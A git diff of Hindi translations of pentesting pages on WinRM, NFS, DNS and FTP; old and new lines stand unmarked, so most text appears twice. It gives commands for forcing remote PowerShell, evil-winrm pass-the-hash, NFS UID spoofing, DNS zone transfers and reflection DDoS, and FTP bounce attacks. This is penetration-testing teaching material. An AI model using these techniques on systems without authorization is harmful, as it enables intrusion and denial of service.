[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, प्रक्रिया में SOAP का लाभ उठाते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफेस के रूप में प्रस्तुत होता है।
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, इस प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफेस के रूप में प्रस्तुत होता है।
किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सरल दूरस्थ प्रशासन की अनुमति देती है, जैसे कि SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -15,32 +15,32 @@
### **WinRM सत्र शुरू करना**
PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet कार्य में आता है, जो कंप्यूटर को दूरस्थ PowerShell कमांड स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell एक्सेस के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित कमांड निष्पादित किए जा सकते हैं:
PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
इस दृष्टिकोण में `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ना शामिल है, जो इसके प्रभावों के कारण सावधानीपूर्वक विचार की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी noted किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से सक्रिय** किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
यह विधि दूरस्थ रूप से WinRM सेटअप करने की अनुमति देती है, जो दूर से Windows मशीनों का प्रबंधन करने में लचीलापन बढ़ाती है।
यह विधि दूरस्थ रूप से WinRM की सेटअप की अनुमति देती है, जो दूर से Windows मशीनों का प्रबंधन करने में लचीलापन बढ़ाती है।
### परीक्षण करें कि क्या कॉन्फ़िगर किया गया है
अपने हमले की मशीन क सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक अनकॉन्फ़िगर किए गए लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
अपने हमले की मशीन क सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य ने WinRM को सही ढंग से कॉन्फ़िगर किया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक असंरचित लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
- एक लक्ष्य जो **सही** ढंग से कॉन्फ़िगर किया गया है, उसका आउटपुट इस तरह दिखेगा:
```bash
Test-WSMan <target-ip>
```
प्रतिक्रिया में प्रोटोकॉल संस्करण और wsmid के बारे में जानकारी होनी चाहिए, जो यह दर्शाता है कि WinRM सही तरीके से सेटअप किया गया है।
प्रतिक्रिया में प्रोटोकॉल संस्करण और wsmid के बारे में जानकारी होनी चाहिए, जो यह दर्शाता है कि WinRM सही ढंग से सेटअप किया गया है।
![](<../images/image (582).png>)
- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके लिए कोई ऐसा विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करत है।
- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके परिणामस्वरूप ऐसी कोई विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करत है।
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, आप ऐसा कर सकते हैं:
आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, तो आप कर सकते हैं:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```
![](<../images/image (1009).png>)
**सत्र एक नए प्रक्रिया (wsmprovhost) में "शिकार" के अंदर चलेगा**
**सत्र एक नए प्रोसेस (wsmprovhost) में "पीड़ित" के अंदर चलेगा**
### **WinRM को खोलने के लिए मजबूर करना**
@ -93,7 +93,7 @@ PS Remoting और WinRM का उपयोग करने के लिए
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### सत्रों को सहेजना और पुनर्स्थापित करना
### Saving and Restoring sessions
यह **काम नहीं करेगा** यदि **भाषा** दूरस्थ कंप्यूटर में **सीमित** है।
```powershell
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
तो क्लाइंट पर प्रयास करें (जानकारी [यहा](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
तो क्लाइंट पर प्रयास करें (जानकारी [यहा](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -146,15 +146,15 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
**evil-winrm** का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, जिसमें IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
ईविल-वीएनआरएम का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
### evil-winrm के साथ हैश पास करें
### ईविल-वीएनआरएम के साथ हैश पास करें
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../images/image (680).png>)
### PS-डॉकर मशीन का उपयोग करना
### एक PS-docker मशीन का उपयोग करना
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force

View File

@ -18,7 +18,7 @@
- **NFSv2**: यह संस्करण विभिन्न प्रणालियों के साथ इसकी व्यापक संगतता के लिए पहचाना जाता है, जो इसके महत्व को UDP के माध्यम से प्रारंभिक संचालन के साथ चिह्नित करता है। श्रृंखला में **सबसे पुराना** होने के नाते, इसने भविष्य के विकास के लिए आधार तैयार किया।
- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया गया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
- **NFSv4**: NFS श्रृंखला में एक महत्वपूर्ण संस्करण, NFSv4 ने नेटवर्क के बीच फ़ाइल साझा करने को आधुनिक बनाने के लिए डिज़ाइन की गई सुविधाओं का एक सेट पेश किया। उल्लेखनीय सुधारों में **उच्च सुरक्षा** के लिए Kerberos का एकीकरण, फ़ायरवॉल को पार करने और पोर्टमैपर्स की आवश्यकता के बिना इंटरनेट पर संचालन करने की क्षमता, एक्सेस कंट्रोल सूचियों (ACLs) का समर्थन, और स्थिति-आधारित संचालन का परिचय शामिल है। इसके प्रदर्शन में सुधार और स्थिति-आधारित प्रोटोकॉल को अपनाने ने NFSv4 को नेटवर्क फ़ाइल साझा करने की तकनीकों में एक महत्वपूर्ण प्रगति के रूप में अलग किया है।
@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर **उपलब्ध** है, आप इसे इस प्रकार पूछ सकते हैं:
आप यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर पर **उपलब्ध** है, आप इसे पूछ सकते हैं:
```bash
showmount -e <IP>
```
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -5,7 +5,7 @@
## **बुनियादी जानकारी**
**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पत का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र तेजी से इंटरनेट संसाधनों को लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पतों का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र तेजी से इंटरनेट संसाधनों को लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डिफ़ॉल्ट पोर्ट:** 53
```
@ -21,9 +21,9 @@ PORT STATE SERVICE REASON
- **गैर-अधिकार प्राप्त नाम सर्वर**: DNS क्षेत्रों पर स्वामित्व की कमी के कारण, ये सर्वर अन्य सर्वरों से प्रश्नों के माध्यम से डोमेन जानकारी एकत्र करते हैं।
- **कैशिंग DNS सर्वर**: इस प्रकार का सर्वर पिछले प्रश्नों के उत्तरों को एक निश्चित समय के लिए याद रखता है ताकि भविष्य के अनुरोधों के लिए प्रतिक्रिया समय को तेज किया जा सके, जिसमें कैश अवधि अधिकार प्राप्त सर्वर द्वारा निर्धारित की जाती है।
- **फॉरवर्डिंग सर्वर**: एक सीधा कार्य करते हुए, फॉरवर्डिंग सर्वर बस प्रश्नों को दूसरे सर्वर पर भेजते हैं।
- **रिज़ॉल्वर**: कंप्यूटर या राउटर के भीतर एकीकृत, रिज़ॉल्वर स्थानीय रूप से नाम समाधान करते हैं और इन्हें अधिकार प्राप्त नहीं माना जाता है।
- **रिज़ॉल्वर**: कंप्यूटर या राउटर में एकीकृत, रिज़ॉल्वर स्थानीय रूप से नाम समाधान करते हैं और इन्हें अधिकार प्राप्त नहीं माना जाता है।
## गणना
## एन्यूमरेशन
### **बैनर ग्रैबिंग**
@ -40,13 +40,13 @@ dig version.bind CHAOS TXT @DNS
```
### **कोई रिकॉर्ड**
रिकॉर्ड **ANY** DNS सर्वर से **सभी उपलब्ध** **एंट्रीज़** **वापस** करने के लिए कहेगा जो **यह प्रकट करने के लिए तैयार है**।
रिकॉर्ड **ANY** DNS सर्वर से **वापस** सभी उपलब्ध **प्रविष्टियों** को **लौटाने** के लिए कहेगा जो **वह प्रकट करने के लिए तैयार है**।
```bash
dig any victim.com @<DNS_IP>
```
### **ज़ोन ट्रांसफर**
### **Zone Transfer**
यह प्रक्रिया को संक्षिप्त रूप में `Asynchronous Full Transfer Zone` (`AXFR`) कहा जाता है।
यह प्रक्रिया को `Asynchronous Full Transfer Zone` (`AXFR`) के रूप में संक्षिप्त किया गया है।
```bash
dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
@ -78,11 +78,11 @@ nslookup
> 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...
> <IP_MACHINE> #Reverse lookup of a machine, maybe...
```
### उपयोगी मेटास्प्लॉट मॉड्यूल
### उपयोगी मेटास्प्लॉट मॉड्यूल
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### उपयोगी nmap स्क्रिप्ट्स
### उपयोगी nmap स्क्रिप्ट
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
@ -95,11 +95,11 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
> [!NOTE]
> यदि आप आंतरिक IP-पते को हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए डोमेन के NSs पर एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
> यदि आप आंतरिक IP-पते पर हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
इसे करने के लिए एक और उपकरण: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
आप रिवर्स IP रेंज के लिए पूछताछ कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
आप रिवर्स IP रेंज को क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
### DNS - उपडोमेन BF
```bash
@ -130,33 +130,33 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t <domain>
```
IPv6 पतों का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स
IPv6 पत का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS पुनरावृत्ति DDoS
यदि **DNS पुनरावृत्ति सक्षम** है, तो एक हमलावर **UDP पैकेट** पर **उत्पत्ति** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया पीड़ित सर्वर** को भेज सके। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" ध्वज** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
यदि **DNS पुनरावृत्ति सक्षम** है, तो एक हमलावर **UDP पैकेट में मूल** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया को पीड़ित सर्वर** पर भेज सके। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" फ्लैग** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
```bash
dig google.com A @<IP>
```
**उपलब्ध नहीं**:
**Non available**:
![](<../images/image (123).png>)
**उपलब्ध**:
**Available**:
![](<../images/image (146).png>)
### अस्तित्वहीन खाते के लिए मेल
### Mail to nonexistent account
**पीड़ित के डोमेन का उपयोग करके एक अस्तित्वहीन पते पर ईमेल भेजना** पीड़ित को एक गैर-डिलीवरी सूचना (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
**एक गैर-मौजूद पते पर ईमेल भेजना** पीड़ित के डोमेन का उपयोग करके पीड़ित को एक गैर-डिलीवरी सूचना (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
## पोस्ट-एक्सप्लॉइटेशन
## Post-Exploitation
- एक बाइंड सर्वर की कॉन्फ़िगरेशन की जांच करते समय **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह बताता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह बताता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
- जब Bind सर्वर की कॉन्फ़िगरेशन की जांच करें, तो **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह दर्शाता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह दर्शाता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
- निम्नलिखित DNS से संबंधित फ़ाइलों के नाम हैं जो मशीनों के अंदर खोजने के लिए दिलचस्प हो सकते हैं:
```
host.conf
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -33,7 +33,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### STARTTLS का उपयोग करके FTP से कनेक्ट करें
### FTP से starttls का उपयोग करके कनेक्ट करें
```
lftp
lftp :~> set ftp:ssl-force true
@ -130,37 +130,37 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** सर्वर यह बताता है कि कौन से कमांड समर्थित हैं
- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां र "0" और 6वां पोर्ट दशमलव में डालना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**
- **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं
- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां पोर्ट दशमलव में डालना होगा या 5वें और 6वें का उपयोग करके पोर्ट को हेक्स में व्यक्त करना होगा_)।
- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ एक TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**
- **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा
- **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो)
- **`APPE /path/something.txt`** यह FTP को **पैसिव** कनेक्शन या **PORT/EPRT** कनेक्शन से प्राप्त डेटा को एक फ़ाइल में संग्रहीत करने के लिए संकेत देगा। यदि फ़ाइल का नाम मौजूद है, तो यह डेटा को जोड़ देगा।
- **`STOR /path/something.txt`** `APPE` की तरह लेकिन यह फ़ाइलों को अधिलेखित करेगा
- **`STOU /path/something.txt`** `APPE` की तरह, लेकिन यदि मौजूद है तो यह कुछ नहीं करेगा।
- **`RETR /path/to/file`** एक पैसिव या पोर्ट कनेक्शन स्थापित करना आवश्यक है। फिर, FTP सर्वर उस कनेक्शन के माध्यम से निर्दिष्ट फ़ाइल भेजेगा
- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करते हुए, तो उसे 6वें बाइट से शुरू करना चाहिए।
- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करके, तो उसे 6वें बाइट से शुरू करना चाहिए।
- **`TYPE i`** ट्रांसफर को बाइनरी पर सेट करें
- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को बताएगा कि वह कहाँ कनेक्ट कर सकता है
- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को संकेत देगा कि वह कहाँ कनेक्ट कर सकता है
- **`PUT /tmp/file.txt`** निर्दिष्ट फ़ाइल को FTP पर अपलोड करें
![](<../../images/image (386).png>)
## FTPBounce हमला
कुछ FTP सर्वर कमांड PORT की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
कुछ FTP सर्वर PORT कमांड की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
[**यहाँ जानें कि FTP सर्वर का दुरुपयोग करके पोर्ट कैसे स्कैन करें।**](ftp-bounce-attack.md)
आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
सिद्धांत आसान है:
1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा
2. **`REST X` का उपयोग करें ताकि आप उन वर्णों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
2. **`REST X` का उपयोग करें ताकि आप उन अक्षरों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा)
3. **मनमाने सर्वर और सेवा से कनेक्ट करने के लिए `PORT` का उपयोग करें**
4. **सर्वर को सहेजे गए अनुरोध को भेजने के लिए `RETR` का उपयोग करें।**
यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए `RETR` के साथ पर्याप्त समय तक नहीं रहता**। इसे टालने के लिए सुझाव हैं:
यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए पर्याप्त समय तक नहीं रहता `RETR` के साथ**। इसे टालने के लिए सुझाव हैं:
- यदि आप एक HTTP अनुरोध भेज रहे हैं, तो **एक के बाद एक वही अनुरोध डालें** जब तक कि **\~0.5MB** कम से कम न हो। इस तरह:
@ -169,9 +169,9 @@ posts.txt
{{#endfile}}
- प्रयास करें कि **प्रोटोकॉल के सापेक्ष "जंक" डेटा से अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना)
- बस **अनुरोध को बहुत सारे शून्य वर्णों या अन्य से भरें** (पंक्तियों में विभाजित या नहीं)
- बस **अनुरोध को बहुत सारे शून्य अक्षरों या अन्य से भरें** (पंक्तियों में विभाजित या नहीं)
